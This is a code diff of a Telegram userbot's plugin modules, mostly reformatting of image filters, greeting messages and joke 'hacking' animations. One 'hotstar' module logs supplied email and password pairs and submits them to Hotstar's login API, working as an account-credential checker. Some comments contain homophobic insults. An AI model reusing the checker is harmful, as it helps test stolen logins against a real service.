-@borg.on(admin_cmd(pattern="map(?: |$)(.*)")) +@borg.on(admin_cmd(pattern="map(?: |$)(.*)")) async def nope(doit): ok = doit.pattern_match.group(1) if not ok: if doit.is_reply: - what = (await doit.get_reply_message()).message - + (await doit.get_reply_message()).message + return - mappy = await bot.inline_query( - "openmap_bot", f"{(deEmojify(ok))}") - await mappy[0].click(doit.chat_id, - reply_to=doit.reply_to_msg_id, - silent=True if doit.is_reply else False, - hide_via=True) + mappy = await bot.inline_query("openmap_bot", f"{(deEmojify(ok))}") + await mappy[0].click( + doit.chat_id, + reply_to=doit.reply_to_msg_id, + silent=True if doit.is_reply else False, + hide_via=True, + ) await doit.delete() - - - CMD_HELP.update( { "Location finder": "__**PLUGIN NAME :** gps__\ diff --git a/fridaybot/modules/greetings.py b/fridaybot/modules/greetings.py index 4300c4df..f1aab600 100644 --- a/fridaybot/modules/greetings.py +++ b/fridaybot/modules/greetings.py @@ -1,34 +1,31 @@ import random -from ..utils import admin_cmd, edit_or_reply, sudo_cmd from fridaybot import CMD_HELP +from ..utils import admin_cmd, edit_or_reply, sudo_cmd + GDMORNING = ( - - "May this morning offer you new hope for life! May you be happy and enjoy every moment of it. Good morning!", "A new day has come with so many new opportunities for you. Grab them all and make the best out of your day. Here’s me wishing you a good morning!", "Welcome this beautiful morning with a smile on your face. I hope you’ll have a great day today. Wishing you a very good morning!", "Mornings come with a blank canvas. Paint it as you like and call it a day. Wake up now and start creating your perfect day. Good morning!", "Wake up like the sun every morning and light up the world your awesomeness. You have so many great things to achieve today. Good morning!", - ) GDNIGHT = ( - "Have a very, good night, friend! You are wonderful!", "Friend, you do not hesitate to get things done! Take tonight to relax and do more, tomorrow!", "Rest soundly tonight, friend!", "Good night to a friend who is the best! Get your forty winks!", - "Let there be no troubles, dear friend! Have a Good Night!" - - + "Let there be no troubles, dear friend! Have a Good Night!", ) -GDNOON=( +GDNOON = ( "Good afternoon!", "Forget about yesterday, think about tommorow.. The victory will be yours.", - "Do what you have to do right now.. Good Afternoon." + "Do what you have to do right now.. Good Afternoon.", ) + + @bot.on(admin_cmd(pattern=f"gm$", outgoing=True)) @bot.on(sudo_cmd(pattern="gm$", allow_sudo=True)) async def morning(morning): diff --git a/fridaybot/modules/hack.py b/fridaybot/modules/hack.py index 4d39427e..c460b125 100644 --- a/fridaybot/modules/hack.py +++ b/fridaybot/modules/hack.py @@ -46,8 +46,8 @@ async def _(event): else: await event.edit("U Dumb. Reply to User 🤷") - -@friday.on(friday_on_cmd(pattern=r"thack")) + +@friday.on(friday_on_cmd(pattern=r"thack")) async def _(event): if event.fwd_from: return @@ -57,7 +57,7 @@ async def _(event): idd = reply_message.sender_id if idd == 1035034432: await event.edit("This is My Master\nI can't hack my master's Account") - + else: event = await event.edit("Hacking..") animation_chars = [ @@ -80,7 +80,9 @@ async def _(event): await event.edit(animation_chars[i % 11]) else: await event.edit("No User is Defined\n Can't hack account") -@friday.on(friday_on_cmd(pattern=r"whack")) + + +@friday.on(friday_on_cmd(pattern=r"whack")) async def _(event): if event.fwd_from: return @@ -107,8 +109,7 @@ async def _(event): for i in animation_ttl: await asyncio.sleep(animation_interval) await event.edit(animation_chars[i % 15]) - - + CMD_HELP.update( { @@ -119,6 +120,5 @@ async def _(event): \n**Function : **__shows an animation of hacking progess bar__\ \n\n**Syntax : **`.wahack reply to a person`\ \n**Function : **__shows an animation of whatsapp account hacking to a replied person__" - } ) diff --git a/fridaybot/modules/hbd.py b/fridaybot/modules/hbd.py index b4d0edfd..100b7664 100644 --- a/fridaybot/modules/hbd.py +++ b/fridaybot/modules/hbd.py @@ -1,44 +1,45 @@ -#By @NOOB_GUY_OP for Dark CObra -#If you steal this without credits You will be the geyest gey ever in the world that you will suck cat's dick. -from telethon import events +# By @NOOB_GUY_OP for Dark CObra +# If you steal this without credits You will be the geyest gey ever in the world that you will suck cat's dick. import asyncio -from ..utils import admin_cmd + from .. import ALIVE_NAME -from .. import CMD_HELP -import importlib.util +from ..utils import admin_cmd DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Unknown" -@borg.on(admin_cmd(pattern="hbty$")) +@borg.on(admin_cmd(pattern="hbty$")) async def _(event): if event.fwd_from: return animation_interval = 5 animation_ttl = range(0, 16) await event.edit("Starting...") - animation_chars = [ - "**Hello!👋**", - "**How Are You?**", - "[.](http://2.bp.blogspot.com/-WGLaIVbpK6U/WT4sr0LG2TI/AAAAAAAAVX0/1t0F3gECRh4okN6zJzq6fMwQ7dA4Qw8AwCLcB/s1600/happy-birthday-to-you.png)", - "**Wishing you 👈 a 👌 day 🌞 filled 😏 with 👏 happiness and 👏 a 👌 year 🎉 filled 😏 with 👏 joy 😁.**", - "**Sending you 👈 smiles 😀 for every 👏 moment 🏆 of your special 😲 day 🌞*", - "**Have 👏 a 👌 wonderful 😊 time 🕐 and a very 👌 happy 😊 birthday 🎂!**", - "**Count your 👏 life 👤 by 😈 smiles, 😀 not 🚫 tears. 😭 Count your 👏 age 👵 by 😈 friends, 👫 not 🚫 years. 📅 Happy 😊 birthday 🎂!**", - "**I hope 🙏 all 💯 your 👏 birthday 🎂 wishes and 👏 dreams 🔚 come true. 💯**", - "**Another 🔄 adventure filled 😏 year 🎉 awaits you. 👈 Welcome it 💯 by 😈 celebrating 🚫 your 👏 birthday 🎂 with 👏 pomp and 👏 splendor. Wishing you 👈 a 👌 very 👌 happy 😊 and 👏 fun-filled birthday 🎂!**", - "**Happy 😊 birthday 🎂 to someone 👤 who 😂 is smart, 👩 gorgeous, 😍 funny 😄 and 👏 reminds me 😭 a 👌 lot of 💦 myself… from 👉 one 😤 fabulous chick 🐣 to another !**", - "[.](http://www.handletheheat.com/wp-content/uploads/2015/03/Best-Birthday-Cake-with-milk-chocolate-buttercream-SQUARE.jpg)", - "[.](http://i.pinimg.com/originals/49/d2/e3/49d2e318a2705cbd300e21023392ff6f.jpg)", - "Here is also 🎁Gifts🎁 from me👨.", - "[.](http://5.imimg.com/data5/KE/IK/MY-15644577/antique-gold-gift-box-luxury-rigid-box02-250x250.jpg)", - "[.](http://i.pinimg.com/originals/10/b8/fb/10b8fb15270d8db1f6ff967e7026d2de.gif)", - "[.](http://www.lovethispic.com/uploaded_images/367867-Starry-Happy-Birthday-Gif.gif)", - ] - for i in animation_ttl:#By @NOOB_GUY_OP for Dark CObra - - await asyncio.sleep(animation_interval) - await event.edit(animation_chars[i %16 ], link_preview=True)#By @NOOB_GUY_OP for Dark CObra + animation_chars = [ + "**Hello!👋**", + "**How Are You?**", + "[.](http://2.bp.blogspot.com/-WGLaIVbpK6U/WT4sr0LG2TI/AAAAAAAAVX0/1t0F3gECRh4okN6zJzq6fMwQ7dA4Qw8AwCLcB/s1600/happy-birthday-to-you.png)", + "**Wishing you 👈 a 👌 day 🌞 filled 😏 with 👏 happiness and 👏 a 👌 year 🎉 filled 😏 with 👏 joy 😁.**", + "**Sending you 👈 smiles 😀 for every 👏 moment 🏆 of your special 😲 day 🌞*", + "**Have 👏 a 👌 wonderful 😊 time 🕐 and a very 👌 happy 😊 birthday 🎂!**", + "**Count your 👏 life 👤 by 😈 smiles, 😀 not 🚫 tears. 😭 Count your 👏 age 👵 by 😈 friends, 👫 not 🚫 years. 📅 Happy 😊 birthday 🎂!**", + "**I hope 🙏 all 💯 your 👏 birthday 🎂 wishes and 👏 dreams 🔚 come true. 💯**", + "**Another 🔄 adventure filled 😏 year 🎉 awaits you. 👈 Welcome it 💯 by 😈 celebrating 🚫 your 👏 birthday 🎂 with 👏 pomp and 👏 splendor. Wishing you 👈 a 👌 very 👌 happy 😊 and 👏 fun-filled birthday 🎂!**", + "**Happy 😊 birthday 🎂 to someone 👤 who 😂 is smart, 👩 gorgeous, 😍 funny 😄 and 👏 reminds me 😭 a 👌 lot of 💦 myself… from 👉 one 😤 fabulous chick 🐣 to another !**", + "[.](http://www.handletheheat.com/wp-content/uploads/2015/03/Best-Birthday-Cake-with-milk-chocolate-buttercream-SQUARE.jpg)", + "[.](http://i.pinimg.com/originals/49/d2/e3/49d2e318a2705cbd300e21023392ff6f.jpg)", + "Here is also 🎁Gifts🎁 from me👨.", + "[.](http://5.imimg.com/data5/KE/IK/MY-15644577/antique-gold-gift-box-luxury-rigid-box02-250x250.jpg)", + "[.](http://i.pinimg.com/originals/10/b8/fb/10b8fb15270d8db1f6ff967e7026d2de.gif)", + "[.](http://www.lovethispic.com/uploaded_images/367867-Starry-Happy-Birthday-Gif.gif)", + ] + for i in animation_ttl: # By @NOOB_GUY_OP for Dark CObra + + await asyncio.sleep(animation_interval) + await event.edit( + animation_chars[i % 16], link_preview=True + ) # By @NOOB_GUY_OP for Dark CObra + @borg.on(admin_cmd(pattern=r"binod ?(.*)")) async def bid(event): diff --git a/fridaybot/modules/hotstar.py b/fridaybot/modules/hotstar.py index 32765a5e..4367b509 100644 --- a/fridaybot/modules/hotstar.py +++ b/fridaybot/modules/hotstar.py @@ -6,15 +6,16 @@ url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" headers = { - 'content-type': 'application/json', - 'Referer': 'https://www.hotstar.com/', - 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', - 'Accept': '*/*', - 'hotstarauth': 'st=1542433344~exp=1542439344~acl=/*~hmac=7dd9deaf6fb16859bd90b1cc84b0d39e0c07b6bb2e174ffecd9cb070a25d9418', - 'Accept-Language': 'en-US,en;q=0.5', - 'Accept-Encoding': 'gzip, deflate', - 'x-user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 FKUA/website/41/website/Desktop' - } + "content-type": "application/json", + "Referer": "https://www.hotstar.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", + "Accept": "*/*", + "hotstarauth": "st=1542433344~exp=1542439344~acl=/*~hmac=7dd9deaf6fb16859bd90b1cc84b0d39e0c07b6bb2e174ffecd9cb070a25d9418", + "Accept-Language": "en-US,en;q=0.5", + "Accept-Encoding": "gzip, deflate", + "x-user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0 FKUA/website/41/website/Desktop", +} + @friday.on(friday_on_cmd(pattern="hotstar")) async def hotstar(event): @@ -35,7 +36,15 @@ async def hotstar(event): password = starkm[1] print(email) print(password) - payload = {"isProfileRequired":"false","userData":{"deviceId":"a7d1bc04-f55e-4b16-80e8-d8fbf4c91768","password":password,"username":email,"usertype":"email"}} + payload = { + "isProfileRequired": "false", + "userData": { + "deviceId": "a7d1bc04-f55e-4b16-80e8-d8fbf4c91768", + "password": password, + "username": email, + "usertype": "email", + }, + } try: meke = requests.post(url, data=json.dumps(payload), headers=headers) logger.info(f"{meke.text} {int(meke.status_code)}") diff --git a/fridaybot/modules/imageenc.py b/fridaybot/modules/imageenc.py index 244f2250..dacb81ec 100644 --- a/fridaybot/modules/imageenc.py +++ b/fridaybot/modules/imageenc.py @@ -3,89 +3,87 @@ # Fixed and Edited by @danish_00 # Kang with credits else gay.. -from telethon.tl.types import MessageMediaPhoto -import os, urllib, requests, re, asyncio -from ..utils import admin_cmd -from fridaybot import CMD_HELP, ALIVE_NAME +import os + +import requests + +from fridaybot import ALIVE_NAME, CMD_HELP from fridaybot import bot from fridaybot import bot as borg + +from ..utils import admin_cmd + DARKCOBRA = os.environ.get("DEEP_AI", "quickstart-QUdJIGlzIGNvbWluZy4uLi4K") KANG_KAREGA_MC = str(ALIVE_NAME) if ALIVE_NAME else "nikal Mc" -@bot.on(admin_cmd(pattern="enc ?(.*)", outgoing=True))#hehe -async def _(event): + + +@bot.on(admin_cmd(pattern="enc ?(.*)", outgoing=True)) # hehe +async def _(event): reply = await event.get_reply_message() if not reply: - return await event.edit( - "Reply to any image or non animated sticker !" - ) + return await event.edit("Reply to any image or non animated sticker !") input_str = event.pattern_match.group(1) - hm = input_str + hm = input_str devent = await event.edit("yo let me downlaoad it....") media = await event.client.download_media(reply) if not media.endswith(("png", "jpg", "webp")): - return await event.edit( - "Reply to any image or non animated sticker !" - ) - + return await event.edit("Reply to any image or non animated sticker !") + if input_str: devent = await event.edit("styling the image sar...") r = requests.post( - "https://api.deepai.org/api/neural-style", - files={ - 'style': f"{hm}", - 'content': open(media, "rb"), + "https://api.deepai.org/api/neural-style", + files={ + "style": f"{hm}", + "content": open(media, "rb"), }, - headers={"api-key": DARKCOBRA}, - ) + headers={"api-key": DARKCOBRA}, + ) os.remove(media) if "status" in r.json(): - return await devent.edit( r.json()["status"]) - r_json = r.json()['output_url'] - pic_id = r.json()['id'] - + return await devent.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" result = f"{r_json}" - + await devent.delete() - await borg.send_message( - event.chat_id, - file=result) - + await borg.send_message(event.chat_id, file=result) + else: - devent = await event.edit("styling the image sar...") - r = requests.post( - "https://api.deepai.org/api/neural-style", - files={ - 'style': 'https://telegra.ph/file/aaaa686bd3acff51208d7.jpg', - 'content': open(media, "rb"), + devent = await event.edit("styling the image sar...") + r = requests.post( + "https://api.deepai.org/api/neural-style", + files={ + "style": "https://telegra.ph/file/aaaa686bd3acff51208d7.jpg", + "content": open(media, "rb"), }, - headers={"api-key": DARKCOBRA}, - ) - - os.remove(media) - if "status" in r.json(): - return await devent.edit( r.json()["status"]) - r_json = r.json()['output_url'] - pic_id = r.json()['id'] - - link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" - result = f"{r_json}" - - await devent.delete() - await borg.send_message( - event.chat_id, - file=result) + headers={"api-key": DARKCOBRA}, + ) + + os.remove(media) + if "status" in r.json(): + return await devent.edit(r.json()["status"]) + r_json = r.json()["output_url"] + pic_id = r.json()["id"] + + link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" + result = f"{r_json}" + + await devent.delete() + await borg.send_message(event.chat_id, file=result) CMD_HELP.update( { - "imgenc": - ".enc " - "\nIt enhancerize any anime pic (Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)" - }) + "imgenc": ".enc " + "\nIt enhancerize any anime pic (Note :-if its not working then go to deepai.org then get api and set var DEEP_AI nd key.)" + } +) -#hehe +# hehe diff --git a/fridaybot/modules/imagefun.py b/fridaybot/modules/imagefun.py index fe87fb56..67cb1fab 100644 --- a/fridaybot/modules/imagefun.py +++ b/fridaybot/modules/imagefun.py @@ -1,35 +1,35 @@ +# By @danish_00 +# import cv2 +# with @shivam_patel +# @THE_B_LACK_HAT +# Team Dc +# For Cobra - - # By @danish_00 - # import cv2 - # with @shivam_patel - # @THE_B_LACK_HAT - # Team Dc - # For Cobra +import asyncio +import os +import shutil import cv2 import numpy as np +import requests from PIL import Image, ImageDraw -import pygments, os, asyncio, shutil, scapy, sys, requests, re, subprocess, urllib -from pygments.lexers import Python3Lexer -from pygments.formatters import ImageFormatter -from fridaybot import bot, CMD_HELP -from fridaybot.utils import admin_cmd, sudo_cmd from telegraph import upload_file -from telethon import events -from telethon.tl.types import MessageMediaPhoto + +from fridaybot import CMD_HELP, bot +from fridaybot.utils import admin_cmd path = "./dcobra/" if not os.path.isdir(path): os.makedirs(path) + @bot.on(admin_cmd(pattern=r"trig")) async def dc(event): if not event.reply_to_msg_id: await event.edit("Reply to any media.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") download = await bot.download_media(reply.media, path) img = cv2.VideoCapture(download) ret, frame = img.read() @@ -39,20 +39,25 @@ async def dc(event): api = f"https://some-random-api.ml/canvas/triggered?avatar={link}" r = requests.get(api) open("shivam.gif", "wb").write(r.content) - await event.client.send_file(event.chat_id, "shivam.gif", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "shivam.gif", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.png") os.remove("shivam.gif") - - + + @bot.on(admin_cmd(pattern=r"wst")) async def dc(event): if not event.reply_to_msg_id: await event.edit("Reply to any media.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") download = await bot.download_media(reply.media, path) img = cv2.VideoCapture(download) ret, frame = img.read() @@ -62,12 +67,14 @@ async def dc(event): api = f"https://some-random-api.ml/canvas/wasted?avatar={link}" r = requests.get(api) open("shivam.jpg", "wb").write(r.content) - await event.client.send_file(event.chat_id, "shivam.jpg", stream=True, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, "shivam.jpg", stream=True, reply_to=event.reply_to_msg_id + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") os.remove("shivam.jpg") - + @bot.on(admin_cmd(pattern="rgif")) async def _(event): @@ -80,22 +87,27 @@ async def _(event): ret, frame = img.read() cv2.imwrite("danish.png", frame) danish = Image.open("danish.png") - dark,python = danish.size - cobra = f"""ffmpeg -f lavfi -i color=c=ffffff00:s={dark}x{python}:d=10 -loop 1 -i danish.png -filter_complex "[1]rotate=angle=PI*t:fillcolor=none:ow='hypot(iw,ih)':oh=ow[fg];[0][fg]overlay=x=(W-w)/2:y=(H-h)/2:shortest=1:format=auto,format=yuv420p" -movflags +faststart danish.mp4 -y""" + dark, python = danish.size + cobra = f"""ffmpeg -f lavfi -i color=c=ffffff00:s={dark}x{python}:d=10 -loop 1 -i danish.png -filter_complex "[1]rotate=angle=PI*t:fillcolor=none:ow='hypot(iw,ih)':oh=ow[fg];[0][fg]overlay=x=(W-w)/2:y=(H-h)/2:shortest=1:format=auto,format=yuv420p" -movflags +faststart danish.mp4 -y""" await event.edit("```Processing ...```") if event.reply_to_msg_id: - reply_to_id = event.reply_to_msg_id + event.reply_to_msg_id process = await asyncio.create_subprocess_shell( - cobra, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE) + cobra, stdout=asyncio.subprocess.PIPE, stderr=asyncio.subprocess.PIPE + ) stdout, stderr = await process.communicate() await event.edit("```Uploading...```") - await event.client.send_file(event.chat_id, "danish.mp4" , force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.mp4", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.mp4") os.remove("danish.png") - @bot.on(admin_cmd("grey")) async def hehe(event): @@ -103,19 +115,28 @@ async def hehe(event): await event.edit("Reply to any Media.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() - gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) + gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) cv2.imwrite("danish.jpg", gray) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - # api for adding color only.... + # api for adding color only.... + + DARKCOBRA = Config.DEEP_AI if Config.DEEP_AI else "quickstart-QUdJIGlzIGNvbWluZy4uLi4K" + + @borg.on(admin_cmd(pattern="color$", outgoing=True)) async def _(event): if not event.reply_to_msg_id: @@ -124,24 +145,25 @@ async def _(event): reply = await event.get_reply_message() await event.edit("`Coloring image 🎨🖌️...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() cv2.imwrite("danish.jpg", frame) r = requests.post( "https://api.deepai.org/api/colorizer", files={"image": open("danish.jpg", "rb")}, - headers={"api-key": f"{DARKCOBRA}"}) + headers={"api-key": f"{DARKCOBRA}"}, + ) os.remove("danish.jpg") if "status" in r.json(): - return await event.edit( r.json()["status"]) + return await event.edit(r.json()["status"]) r_json = r.json()["output_url"] pic_id = r.json()["id"] link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" result = f"{r_json}" - await bot.send_message(event.chat_id, file = result, reply_to=event.reply_to_msg_id) + await bot.send_message(event.chat_id, file=result, reply_to=event.reply_to_msg_id) await event.delete() - - + + @bot.on(admin_cmd(pattern="circle", outgoing=True)) async def shiv(event): if not event.reply_to_msg_id: @@ -150,19 +172,24 @@ async def shiv(event): await event.edit("```Processing...```") reply = await event.get_reply_message() download = await bot.download_media(reply.media, path) - danish = cv2.VideoCapture(download) + danish = cv2.VideoCapture(download) ret, frame = danish.read() cv2.imwrite("danish.jpg", frame) - img=Image.open("danish.jpg").convert("RGB") - npImage=np.array(img) - h,w=img.size - alpha = Image.new('L', img.size,0) + img = Image.open("danish.jpg").convert("RGB") + npImage = np.array(img) + h, w = img.size + alpha = Image.new("L", img.size, 0) draw = ImageDraw.Draw(alpha) - draw.pieslice([0,0,h,w],0,360,fill=255) - npAlpha=np.array(alpha) - npImage=np.dstack((npImage,npAlpha)) - Image.fromarray(npImage).save('shivam.webp') - await event.client.send_file(event.chat_id, "shivam.webp", force_document=False, reply_to=event.reply_to_msg_id) + draw.pieslice([0, 0, h, w], 0, 360, fill=255) + npAlpha = np.array(alpha) + npImage = np.dstack((npImage, npAlpha)) + Image.fromarray(npImage).save("shivam.webp") + await event.client.send_file( + event.chat_id, + "shivam.webp", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("shivam.webp") @@ -177,24 +204,26 @@ async def _(event): reply = await event.get_reply_message() await event.edit("```Toonifing face😜😝...```") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() cv2.imwrite("danish.jpg", frame) r = requests.post( "https://api.deepai.org/api/toonify", files={"image": open("danish.jpg", "rb")}, - headers={"api-key": f"{DARKCOBRA}"}) + headers={"api-key": f"{DARKCOBRA}"}, + ) os.remove("danish.jpg") if "status" in r.json(): - return await event.edit( r.json()["status"]) + return await event.edit(r.json()["status"]) r_json = r.json()["output_url"] pic_id = r.json()["id"] link = f"https://api.deepai.org/job-view-file/{pic_id}/inputs/image.jpg" result = f"{r_json}" await event.edit("```Be sure to reply a image in which face is visible```") - await bot.send_message(event.chat_id, file = result, reply_to=event.reply_to_msg_id) + await bot.send_message(event.chat_id, file=result, reply_to=event.reply_to_msg_id) await event.delete() + CMD_HELP.update( { "imagefun": "__**PLUGIN NAME :** Image Fun _\ @@ -212,11 +241,5 @@ async def _(event): \n**USAGE ★ **Make A circle sticker of that media.\ \n\n📌** CMD ★** `.ftoon(reply to media)`\ \n**USAGE ★ **Makes faces look like 💩Toon💩." - - } - - - )# Thanks for Coming 🤗🤗 - - +) # Thanks for Coming 🤗🤗 diff --git a/fridaybot/modules/imagefun2.py b/fridaybot/modules/imagefun2.py index 1ef4dfcb..a1fc240d 100644 --- a/fridaybot/modules/imagefun2.py +++ b/fridaybot/modules/imagefun2.py @@ -1,40 +1,42 @@ +# By @danish_00 +# OpenCV Basics +# For Dark Cobra +# Team Dc - - # By @danish_00 - # OpenCV Basics - # For Dark Cobra - # Team Dc +import os +import shutil import cv2 -import numpy as np -from PIL import Image, ImageDraw -import pygments, os, asyncio, shutil, scapy, sys, requests, re, subprocess -from pygments.lexers import Python3Lexer -from pygments.formatters import ImageFormatter -from fridaybot import bot, CMD_HELP -from ..utils import admin_cmd, sudo_cmd +import requests from telegraph import upload_file -from telethon import events -from telethon.tl.types import MessageMediaPhoto +from fridaybot import bot + +from ..utils import admin_cmd path = "./dcobra/" if not os.path.isdir(path): os.makedirs(path) + @bot.on(admin_cmd("blur")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) - ret, frame = img.read() + img = cv2.VideoCapture(image) + ret, frame = img.read() blur = cv2.GaussianBlur(frame, (35, 35), 0) cv2.imwrite("danish.jpg", blur) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") @@ -46,19 +48,23 @@ async def hehe(event): await event.reply("Reply to any Image.") return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() invert = cv2.bitwise_not(frame) cv2.imwrite("danish.jpg", invert) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - @bot.on(admin_cmd("flip")) async def hehe(event): if not event.reply_to_msg_id: @@ -68,15 +74,17 @@ async def hehe(event): reply = await event.get_reply_message() pathh = await bot.download_media(reply.media, path) img = cv2.VideoCapture(pathh) - ret,frame = img.read() + ret, frame = img.read() flip = cv2.flip(frame, 1) cv2.imwrite("cobra.jpg", frame) - cv2.imwrite("danish.jpg", flip) + cv2.imwrite("danish.jpg", flip) dark = cv2.imread("cobra.jpg") cobra = cv2.imread("danish.jpg") merge = cv2.hconcat([dark, cobra]) - cv2.imwrite('dark.jpg', merge) - await event.client.send_file(event.chat_id, "dark.jpg" , reply_to=event.reply_to_msg_id) + cv2.imwrite("dark.jpg", merge) + await event.client.send_file( + event.chat_id, "dark.jpg", reply_to=event.reply_to_msg_id + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") @@ -93,35 +101,43 @@ async def hehe(event): reply = await event.get_reply_message() pathh = await bot.download_media(reply.media, path) img = cv2.VideoCapture(pathh) - ret,frame = img.read() + ret, frame = img.read() flip = cv2.flip(frame, 1) up = cv2.rotate(flip, cv2.ROTATE_180) cv2.imwrite("cobra.jpg", frame) - cv2.imwrite("danish.jpg", up) + cv2.imwrite("danish.jpg", up) dark = cv2.imread("cobra.jpg") cobra = cv2.imread("danish.jpg") merge = cv2.vconcat([dark, cobra]) - cv2.imwrite('dark.jpg', merge) - await event.client.send_file(event.chat_id, "dark.jpg" , reply_to=event.reply_to_msg_id) + cv2.imwrite("dark.jpg", merge) + await event.client.send_file( + event.chat_id, "dark.jpg", reply_to=event.reply_to_msg_id + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") os.remove("dark.jpg") os.remove("cobra.jpg") + @bot.on(admin_cmd("enhance")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") - return + return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) + img = cv2.VideoCapture(image) ret, frame = img.read() dtl = cv2.detailEnhance(frame, sigma_s=10, sigma_r=0.15) cv2.imwrite("danish.jpg", dtl) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") @@ -131,42 +147,55 @@ async def hehe(event): async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") - return + return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) - ret, frame = img.read() + img = cv2.VideoCapture(image) + ret, frame = img.read() grey = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY) - blur = cv2.GaussianBlur(grey, (3,3), 0) + blur = cv2.GaussianBlur(grey, (3, 3), 0) output = cv2.Laplacian(blur, -1, ksize=5) output = 255 - output ret, output = cv2.threshold(output, 150, 255, cv2.THRESH_BINARY) cv2.imwrite("danish.jpg", output) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") - + + @bot.on(admin_cmd("smooth")) async def hehe(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") - return + return reply = await event.get_reply_message() - await event.edit('`Processing...`') + await event.edit("`Processing...`") image = await bot.download_media(reply.media, path) - img = cv2.VideoCapture(image) - ret, frame = img.read() + img = cv2.VideoCapture(image) + ret, frame = img.read() smooth = cv2.edgePreservingFilter(frame, flags=1, sigma_s=60, sigma_r=0.4) cv2.imwrite("danish.jpg", smooth) - await event.client.send_file(event.chat_id, "danish.jpg", force_document=False, reply_to=event.reply_to_msg_id) + await event.client.send_file( + event.chat_id, + "danish.jpg", + force_document=False, + reply_to=event.reply_to_msg_id, + ) await event.delete() shutil.rmtree(path) os.remove("danish.jpg") # .ytc by @shivam_patel # kang with credits + + @bot.on(admin_cmd(pattern=r"ytc")) async def hehe(event): if not event.reply_to_msg_id: @@ -177,20 +206,22 @@ async def hehe(event): img = cv2.VideoCapture(download) ret, frame = img.read() cv2.imwrite("danish.png", frame) - givenvar=event.text + givenvar = event.text text = givenvar[5:] try: global username, comment - username, comment= text.split(".") + username, comment = text.split(".") except: await event.edit("`.ytc username.comment reply to image`") - await event.edit('`Processing...`') + await event.edit("`Processing...`") url_s = upload_file("danish.png") imglink = f"https://telegra.ph{url_s[0]}" nikal = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&comment={comment}&username={username}" r = requests.get(nikal) 